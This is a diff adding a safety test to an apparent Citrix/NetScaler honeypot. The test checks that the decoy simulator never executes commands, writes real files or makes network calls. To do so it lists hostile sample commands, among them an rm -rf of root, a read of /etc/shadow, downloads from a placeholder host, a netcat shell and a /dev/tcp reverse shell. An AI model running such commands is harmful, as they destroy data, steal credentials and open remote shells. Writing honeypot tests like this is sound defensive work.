CitrixPot: NetScaler / Citrix ADC Gateway honeypot (initial public release)

test_safety.py

@@ -0,0 +1,71 @@
+"""Run: python3 test_safety.py. Proves the simulator has no real-execution path."""
+import os
+import pathlib
+import subprocess
+import tempfile
+
+from honeypot import Engine, simulate
+
+# Static guarantee: the decoy module has no OS/exec/network/Eval primitives at all.
+SOURCE = (pathlib.Path(__file__).parent / 'honeypot.py').read_text()
+for forbidden in ('import subprocess', 'import socket', 'os.system', 'os.popen', 'os.exec',
+                  'eval(', 'exec(', '__import__', 'pty.', 'ctypes'):
+    assert forbidden not in SOURCE, 'decoy module contains ' + forbidden
+
+# Dynamic guarantee: even if these existed, nothing may call them.
+calls = []
+
+
+def tripwire(*args, **kwargs):
+    calls.append((args, kwargs))
+    raise AssertionError('real execution attempted')
+
+
+saved = {}
+for name in ('system', 'popen', 'fork', 'forkpty', 'spawnv', 'execv', 'execve', 'posix_spawn'):
+    if hasattr(os, name):
+        saved[name] = getattr(os, name)
+        setattr(os, name, tripwire)
+for name in ('Popen', 'run', 'call', 'check_output', 'check_call'):
+    saved['subprocess.' + name] = getattr(subprocess, name)
+    setattr(subprocess, name, tripwire)
+
+DANGEROUS = (
+    'rm -rf / --no-preserve-root',
+    'cat /etc/shadow',
+    'id>/root/pwned',
+    'echo owned > /tmp/pwned-by-attacker',
+    'curl http://203.0.113.9/x.sh -o /tmp/x.sh',
+    'wget http://203.0.113.9/payload -O /tmp/p',
+    'nc -e /bin/sh 203.0.113.9 4444',
+    'bash -c "sh -i >& /dev/tcp/203.0.113.9/4444 0>&1"',
+    '`id`',
+    'mkdir -p /var/www/shell; touch /var/www/shell/x.jsp',
+)
+marker = pathlib.Path(tempfile.gettempdir()) / 'pwned-by-attacker'
+if marker.exists():
+    marker.unlink()
+
+try:
+    events = []
+    engine = Engine(lambda event, **data: events.append(dict(event=event, **data)))
+    state = engine.session('198.51.100.7')
+    for command in DANGEROUS:
+        simulate(state, command, engine.emit)
+        engine.tick()
+finally:
+    for name, original in saved.items():
+        if name.startswith('subprocess.'):
+            setattr(subprocess, name.split('.', 1)[1], original)
+        else:
+            setattr(os, name, original)
+
+assert not calls, calls
+assert not marker.exists(), 'a simulated command wrote a real file'
+kinds = {e['event'] for e in events}
+assert 'unsupported' in kinds or 'simulated_command' in kinds
+outbound = [e for e in events if e['event'] == 'outbound_attempt']
+assert outbound and all(e['disposition'] == 'recorded_only' for e in outbound)
+# Virtual writes stay in memory only.
+assert 'virtual_file_write' in kinds or 'unsupported' in kinds
+print('PASS: simulation-only, no OS/exec/network calls, outbound recorded not performed')